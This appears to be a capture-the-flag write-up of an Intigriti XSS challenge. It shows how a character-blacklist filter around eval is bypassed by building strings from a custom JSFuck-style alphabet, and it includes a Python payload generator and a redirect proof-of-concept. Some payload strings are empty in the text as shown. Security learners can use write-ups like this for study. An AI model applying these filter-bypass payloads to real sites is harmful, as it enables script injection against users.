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## Brief Description The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe. It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\ However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\ Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function. ## Accessing the HTML It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\ ![](https://i.imgur.com/Slq2Xal.png) Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways: ```javascript document.domain document["domain"] ``` And the same happens with attributes that are functions (methods): ```javascript document.write("1") document["write"]("1") ``` Then, from the `e` HTML element it’s possible to access the `document` object using something like: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` ## Calling a function without parenthesis with JS code as string From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\ However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\ Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like: ```javascript `${"alert(document.location)"}` ``` Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) ## Final forbidden characters bypass However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\ This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\ In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\ You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_). For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\ Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` ## Exploit Code This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit: ```python #JS Specific Direct Alphabet x = { "1": "1", ".": ".", "[": "[e+e][0][0]", "]": "[e+e][0][27]", "/": "[/e/+e][0][0]", "a": "[[]/e+e][0][1]", "b": "[e+e][0][2]", "c": "[e+e][0][5]", "d": "[[][[]]+e][0][2]", "e": "[e+e][0][4]", "f": "[[][[]]+e][0][4]", "g": "[e+e][0][15]", "H": "[e+e][0][8]", "i": "[[][[]]+e][0][5]", "j": "[e+e][0][3]", "L": "[e+e][0][11]", "l": "[e+e][0][21]", "M": "[e+e][0][10]", "n": "[[][[]]+e][0][1]", "N": "[[]/e+e][0][0]", "o": "[e+e][0][1]", "r": "[e+e][0][13]", "s": "[e+e][0][18]", "t": "[e+e][0][6]", "T": "[e+e][0][9]", "u": "[[][[]]+e][0][0]", } #JS Dependent Alphabet #The following alphabet will use previously obtained characters #Note that this way of getting the characters are custom for the abused HTML outerHTML = '+'.join(x[k] for k in 'outerHTML') x['p'] = f'e[{outerHTML}][1]' x['y'] = f'e[{outerHTML}][39]' x['<'] = f'e[{outerHTML}][0]' x['>'] = f'e[{outerHTML}][62]' x['"'] = f'e[{outerHTML}][13]' parentNode = '+'.join(x[k] for k in 'parentNode') document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]' x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]' children = '+'.join(x[k] for k in 'children') captcha = '+'.join(x[k] for k in 'captcha') x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]' write = '+'.join(x[k] for k in 'write') x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]' x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]' x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]' # Exploit generation payload_text = '' payload = '+'.join(x[k] for k in payload_text) txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` ## Exploitation In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here: ``` 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``` Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_): ```markup
``` Finally, **serve the poc in a HTTP** server and access it from the browser:\ ![](https://i.imgur.com/qack7GO.png) Just press **submit** on the captcha form and the alert will be executed: ![](https://i.imgur.com/mCORty3.png)
Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**